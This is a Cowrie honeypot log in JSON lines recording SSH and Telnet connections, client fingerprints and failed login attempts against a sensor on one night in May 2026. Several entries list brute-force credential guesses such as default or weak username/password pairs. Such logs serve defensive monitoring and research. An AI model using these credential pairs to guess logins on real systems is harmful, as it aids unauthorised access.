{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":51474,"dst_ip":"159.203.135.109","dst_port":22,"session":"21aeb129f744","protocol":"ssh","message":"New connection: 77.239.106.153:51474 (159.203.135.109:22) [session: 21aeb129f744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:18.864609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:18.869534Z","src_ip":"77.239.106.153","session":"21aeb129f744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:18.964004Z","src_ip":"77.239.106.153","session":"21aeb129f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.99.30.209","src_port":58494,"dst_ip":"159.203.135.109","dst_port":23,"session":"78318fb4980d","protocol":"telnet","message":"New connection: 89.99.30.209:58494 (159.203.135.109:23) [session: 78318fb4980d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:19.099978Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:19.224386Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:19.230812Z","src_ip":"95.38.165.118","session":"a7a0c67cccb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:19.368954Z","src_ip":"77.239.106.153","session":"21aeb129f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":34490,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5caced8308","protocol":"ssh","message":"New connection: 43.245.97.82:34490 (159.203.135.109:22) [session: 4b5caced8308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.128436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.137481Z","src_ip":"43.245.97.82","session":"4b5caced8308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.382313Z","src_ip":"43.245.97.82","session":"4b5caced8308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.470407Z","src_ip":"77.239.106.153","session":"21aeb129f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37618,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb85092f5544","protocol":"ssh","message":"New connection: 95.38.165.118:37618 (10.17.0.5:22) [session: cb85092f5544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.880890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:20.929162Z","src_ip":"95.38.165.118","session":"cb85092f5544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd!@#","message":"login attempt [root/123asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:21.387781Z","src_ip":"43.245.97.82","session":"4b5caced8308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:21.729486Z","src_ip":"95.38.165.118","session":"cb85092f5544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39702582359314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:21.990251Z","src_ip":"69.4.83.194","session":"95cd32661713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:22.634443Z","src_ip":"43.245.97.82","session":"4b5caced8308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:24.860391Z","src_ip":"95.38.165.118","session":"cb85092f5544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:26.031663Z","src_ip":"95.38.165.118","session":"cb85092f5544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36484,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e43645d154c","protocol":"ssh","message":"New connection: 95.38.165.118:36484 (10.17.0.5:22) [session: 8e43645d154c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:26.329695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:26.334398Z","src_ip":"95.38.165.118","session":"8e43645d154c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:26.501440Z","src_ip":"95.38.165.118","session":"8e43645d154c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:27.412253Z","src_ip":"95.38.165.118","session":"8e43645d154c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39226,"dst_ip":"159.203.135.109","dst_port":22,"session":"a419f5b37054","protocol":"ssh","message":"New connection: 103.172.78.219:39226 (159.203.135.109:22) [session: a419f5b37054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:27.975676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:27.980231Z","src_ip":"103.172.78.219","session":"a419f5b37054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:28.226146Z","src_ip":"103.172.78.219","session":"a419f5b37054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:28.584290Z","src_ip":"95.38.165.118","session":"8e43645d154c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021985","message":"login attempt [root/11021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:28.965387Z","src_ip":"103.172.78.219","session":"a419f5b37054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:30.220987Z","src_ip":"103.172.78.219","session":"a419f5b37054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36490,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79565668569","protocol":"ssh","message":"New connection: 95.38.165.118:36490 (10.17.0.5:22) [session: f79565668569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:31.748865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:31.753644Z","src_ip":"95.38.165.118","session":"f79565668569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:32.495759Z","src_ip":"95.38.165.118","session":"f79565668569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:34.776779Z","src_ip":"95.38.165.118","session":"f79565668569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:36.385559Z","src_ip":"95.38.165.118","session":"f79565668569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34152,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc84f29a36c","protocol":"ssh","message":"New connection: 95.38.165.118:34152 (10.17.0.5:22) [session: abc84f29a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:37.119327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:37.162511Z","src_ip":"95.38.165.118","session":"abc84f29a36c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:37.279701Z","src_ip":"95.38.165.118","session":"abc84f29a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:41.187214Z","src_ip":"95.38.165.118","session":"abc84f29a36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":34156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b2911236e5b","protocol":"ssh","message":"New connection: 95.38.165.118:34156 (10.17.0.5:22) [session: 3b2911236e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:42.916075Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:43.039728Z","src_ip":"95.38.165.118","session":"abc84f29a36c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:43.342282Z","src_ip":"95.38.165.118","session":"3b2911236e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:43.345853Z","src_ip":"95.38.165.118","session":"3b2911236e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:44.785311Z","src_ip":"95.38.165.118","session":"3b2911236e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58418,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d893278764","protocol":"telnet","message":"New connection: 69.4.83.194:58418 (159.203.135.109:23) [session: 90d893278764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:44.859557Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:46.592480Z","src_ip":"95.38.165.118","session":"3b2911236e5b","protocol":"ssh"}
